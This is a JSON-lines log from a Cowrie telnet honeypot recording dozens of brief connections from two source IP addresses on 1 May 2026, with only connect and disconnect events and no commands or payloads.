{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43714,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd7f7273d23d","protocol":"telnet","message":"New connection: 208.115.200.90:43714 (10.17.0.5:23) [session: cd7f7273d23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.092317Z"}
{"eventid":"cowrie.session.closed","duration":30.887016773223877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.097444Z","src_ip":"208.115.219.122","session":"ee4ab073329b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.338168382644653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.100639Z","src_ip":"208.115.200.90","session":"aedff2a4cc41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56126,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7c2dc0c0319","protocol":"telnet","message":"New connection: 208.115.219.122:56126 (10.17.0.5:23) [session: c7c2dc0c0319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.140994Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57026,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2ff773cc8be","protocol":"telnet","message":"New connection: 208.115.219.122:57026 (10.17.0.5:23) [session: d2ff773cc8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.153949Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43718,"dst_ip":"10.17.0.5","dst_port":23,"session":"185b1269ddcc","protocol":"telnet","message":"New connection: 208.115.200.90:43718 (10.17.0.5:23) [session: 185b1269ddcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.202405Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57032,"dst_ip":"10.17.0.5","dst_port":23,"session":"859844da21d3","protocol":"telnet","message":"New connection: 208.115.219.122:57032 (10.17.0.5:23) [session: 859844da21d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.272487Z"}
{"eventid":"cowrie.session.closed","duration":31.172144651412964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.320936Z","src_ip":"208.115.200.90","session":"e61e253944eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.545380115509033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.383552Z","src_ip":"208.115.200.90","session":"0178d4b1fe02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.131243228912354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.392601Z","src_ip":"208.115.200.90","session":"d0c321a96e6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.172346115112305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.426606Z","src_ip":"208.115.200.90","session":"9ddf4eb898f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44202,"dst_ip":"10.17.0.5","dst_port":23,"session":"f546aff683ad","protocol":"telnet","message":"New connection: 208.115.200.90:44202 (10.17.0.5:23) [session: f546aff683ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.803293Z"}
{"eventid":"cowrie.session.closed","duration":30.79489493370056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.035673Z","src_ip":"208.115.219.122","session":"df98b43e3493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.045547485351562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.126176Z","src_ip":"208.115.219.122","session":"397fb7d2eb0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34074568748474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.138023Z","src_ip":"208.115.219.122","session":"91b1619305ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44330,"dst_ip":"10.17.0.5","dst_port":23,"session":"1525325df2bd","protocol":"telnet","message":"New connection: 208.115.200.90:44330 (10.17.0.5:23) [session: 1525325df2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.171689Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57078,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aad1f337845","protocol":"telnet","message":"New connection: 208.115.219.122:57078 (10.17.0.5:23) [session: 1aad1f337845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.177577Z"}
{"eventid":"cowrie.session.closed","duration":31.0027334690094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.193534Z","src_ip":"208.115.219.122","session":"27e5f4607bee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44346,"dst_ip":"10.17.0.5","dst_port":23,"session":"8704ecd585cf","protocol":"telnet","message":"New connection: 208.115.200.90:44346 (10.17.0.5:23) [session: 8704ecd585cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.210120Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44354,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9b2a6f94793","protocol":"telnet","message":"New connection: 208.115.200.90:44354 (10.17.0.5:23) [session: d9b2a6f94793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.281487Z"}
{"eventid":"cowrie.session.closed","duration":31.221361875534058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.287352Z","src_ip":"208.115.200.90","session":"ff671c4ea589","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98208498954773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.327719Z","src_ip":"208.115.200.90","session":"4fc2de5a3c95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34145760536194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.464528Z","src_ip":"208.115.219.122","session":"4535b36a1769","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57138,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c4ddfd94fbc","protocol":"telnet","message":"New connection: 208.115.219.122:57138 (10.17.0.5:23) [session: 0c4ddfd94fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.470421Z"}
{"eventid":"cowrie.session.closed","duration":31.15587830543518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.497206Z","src_ip":"208.115.200.90","session":"ec65d8db1c6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44452,"dst_ip":"10.17.0.5","dst_port":23,"session":"952fa3dc5d1c","protocol":"telnet","message":"New connection: 208.115.200.90:44452 (10.17.0.5:23) [session: 952fa3dc5d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.563455Z"}
{"eventid":"cowrie.session.closed","duration":31.553229808807373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.579660Z","src_ip":"208.115.200.90","session":"192c755a5a09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.81405806541443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.848445Z","src_ip":"208.115.200.90","session":"e0cabc558005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.034929752349854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:53.928431Z","src_ip":"208.115.200.90","session":"02ccd8ec4a83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44872,"dst_ip":"10.17.0.5","dst_port":23,"session":"add8a7dd54ae","protocol":"telnet","message":"New connection: 208.115.200.90:44872 (10.17.0.5:23) [session: add8a7dd54ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.021241Z"}
{"eventid":"cowrie.session.closed","duration":30.536117553710938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.025608Z","src_ip":"208.115.219.122","session":"a66647b79b5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.20267963409424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.031942Z","src_ip":"208.115.219.122","session":"e7169448a513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44890,"dst_ip":"10.17.0.5","dst_port":23,"session":"79a305b2a2a3","protocol":"telnet","message":"New connection: 208.115.200.90:44890 (10.17.0.5:23) [session: 79a305b2a2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.058206Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57384,"dst_ip":"10.17.0.5","dst_port":23,"session":"f716fd37eb30","protocol":"telnet","message":"New connection: 208.115.219.122:57384 (10.17.0.5:23) [session: f716fd37eb30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.067085Z"}
{"eventid":"cowrie.session.closed","duration":31.004329204559326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.190721Z","src_ip":"208.115.219.122","session":"1a702eba63a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44896,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b6094c8ec7","protocol":"telnet","message":"New connection: 208.115.200.90:44896 (10.17.0.5:23) [session: b2b6094c8ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.196460Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44898,"dst_ip":"10.17.0.5","dst_port":23,"session":"73e0e3278822","protocol":"telnet","message":"New connection: 208.115.200.90:44898 (10.17.0.5:23) [session: 73e0e3278822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.202326Z"}
{"eventid":"cowrie.session.closed","duration":30.797340154647827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.263128Z","src_ip":"208.115.200.90","session":"373d81ecf253","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.155508995056152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.301103Z","src_ip":"208.115.219.122","session":"051cbe3d37a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59808,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8a30f87c14e","protocol":"telnet","message":"New connection: 208.115.200.90:59808 (10.17.0.5:23) [session: c8a30f87c14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.392634Z"}
{"eventid":"cowrie.session.closed","duration":30.891311645507812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.445693Z","src_ip":"208.115.200.90","session":"ac978148f9fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59942,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe87bde69152","protocol":"telnet","message":"New connection: 208.115.200.90:59942 (10.17.0.5:23) [session: fe87bde69152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:54.696890Z"}
{"eventid":"cowrie.session.closed","duration":30.780470848083496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.028165Z","src_ip":"208.115.200.90","session":"3a1081c4c61b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.982025384902954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.045024Z","src_ip":"208.115.219.122","session":"d608849a33bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.997122049331665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.056723Z","src_ip":"208.115.200.90","session":"be49934501a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858187437057495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.074841Z","src_ip":"208.115.200.90","session":"187a1584d057","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36830,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f2f1d7707a5","protocol":"telnet","message":"New connection: 208.115.219.122:36830 (10.17.0.5:23) [session: 3f2f1d7707a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.094733Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36834,"dst_ip":"10.17.0.5","dst_port":23,"session":"3657cca8c2d0","protocol":"telnet","message":"New connection: 208.115.219.122:36834 (10.17.0.5:23) [session: 3657cca8c2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.102439Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60408,"dst_ip":"10.17.0.5","dst_port":23,"session":"4348815a4b17","protocol":"telnet","message":"New connection: 208.115.200.90:60408 (10.17.0.5:23) [session: 4348815a4b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.216103Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60412,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e71d2d73155","protocol":"telnet","message":"New connection: 208.115.200.90:60412 (10.17.0.5:23) [session: 4e71d2d73155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.241216Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60420,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ad440e54e48","protocol":"telnet","message":"New connection: 208.115.200.90:60420 (10.17.0.5:23) [session: 8ad440e54e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.246801Z"}
{"eventid":"cowrie.session.closed","duration":30.762813091278076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.268296Z","src_ip":"208.115.200.90","session":"acafaa6a4e4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60452,"dst_ip":"10.17.0.5","dst_port":23,"session":"d13fde532863","protocol":"telnet","message":"New connection: 208.115.200.90:60452 (10.17.0.5:23) [session: d13fde532863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.306575Z"}
{"eventid":"cowrie.session.closed","duration":31.27229952812195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.322045Z","src_ip":"208.115.219.122","session":"52ceaf99759d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12449812889099,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.378501Z","src_ip":"208.115.200.90","session":"b7567be9d309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.320521354675293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.427552Z","src_ip":"208.115.200.90","session":"680e27218099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.132100343704224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.495004Z","src_ip":"208.115.200.90","session":"2147c0894d2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68059492111206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.501594Z","src_ip":"208.115.200.90","session":"25898911db0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68940234184265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.536527Z","src_ip":"208.115.200.90","session":"03c1a4170e3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":32962,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae18541ccb09","protocol":"telnet","message":"New connection: 208.115.200.90:32962 (10.17.0.5:23) [session: ae18541ccb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:55.911002Z"}
{"eventid":"cowrie.session.closed","duration":30.52943515777588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.022985Z","src_ip":"208.115.200.90","session":"c80591e07aca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37146,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dc3d557af32","protocol":"telnet","message":"New connection: 208.115.219.122:37146 (10.17.0.5:23) [session: 2dc3d557af32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.047285Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37160,"dst_ip":"10.17.0.5","dst_port":23,"session":"507087db2214","protocol":"telnet","message":"New connection: 208.115.219.122:37160 (10.17.0.5:23) [session: 507087db2214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.057799Z"}
{"eventid":"cowrie.session.closed","duration":30.168296337127686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.065053Z","src_ip":"208.115.200.90","session":"b4dd211530bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33178,"dst_ip":"10.17.0.5","dst_port":23,"session":"4013abe379c3","protocol":"telnet","message":"New connection: 208.115.200.90:33178 (10.17.0.5:23) [session: 4013abe379c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.081093Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33196,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c26bd945414","protocol":"telnet","message":"New connection: 208.115.200.90:33196 (10.17.0.5:23) [session: 3c26bd945414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.155478Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37192,"dst_ip":"10.17.0.5","dst_port":23,"session":"c01932897661","protocol":"telnet","message":"New connection: 208.115.219.122:37192 (10.17.0.5:23) [session: c01932897661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.259475Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33216,"dst_ip":"10.17.0.5","dst_port":23,"session":"e393723d8e84","protocol":"telnet","message":"New connection: 208.115.200.90:33216 (10.17.0.5:23) [session: e393723d8e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.287956Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33222,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6850e2ed7fe","protocol":"telnet","message":"New connection: 208.115.200.90:33222 (10.17.0.5:23) [session: a6850e2ed7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.373351Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33238,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9516ca7b044","protocol":"telnet","message":"New connection: 208.115.200.90:33238 (10.17.0.5:23) [session: b9516ca7b044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.384791Z"}
{"eventid":"cowrie.session.closed","duration":31.174302577972412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.401394Z","src_ip":"208.115.200.90","session":"ed5a88772b52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33452,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2dfdfd386b2","protocol":"telnet","message":"New connection: 208.115.200.90:33452 (10.17.0.5:23) [session: b2dfdfd386b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.578160Z"}
{"eventid":"cowrie.session.closed","duration":31.60068154335022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.652069Z","src_ip":"208.115.219.122","session":"a42da460101d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.68150782585144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.761267Z","src_ip":"208.115.219.122","session":"0af89cc74a29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.719293117523193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.920430Z","src_ip":"208.115.200.90","session":"d41b2bff39b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65053915977478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:56.950207Z","src_ip":"208.115.200.90","session":"fb4482e1a924","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.481515407562256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.052747Z","src_ip":"208.115.200.90","session":"365b212e5d36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34104,"dst_ip":"10.17.0.5","dst_port":23,"session":"07db77b2fab8","protocol":"telnet","message":"New connection: 208.115.200.90:34104 (10.17.0.5:23) [session: 07db77b2fab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.084907Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37198,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5d82285c6f9","protocol":"telnet","message":"New connection: 208.115.219.122:37198 (10.17.0.5:23) [session: a5d82285c6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.090266Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34110,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b2f2c4ade87","protocol":"telnet","message":"New connection: 208.115.200.90:34110 (10.17.0.5:23) [session: 9b2f2c4ade87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.100065Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34156,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bbb187f1edc","protocol":"telnet","message":"New connection: 208.115.200.90:34156 (10.17.0.5:23) [session: 4bbb187f1edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.182254Z"}
{"eventid":"cowrie.session.closed","duration":30.878469944000244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.226164Z","src_ip":"208.115.200.90","session":"4d4c13bc4f78","protocol":"telnet"}
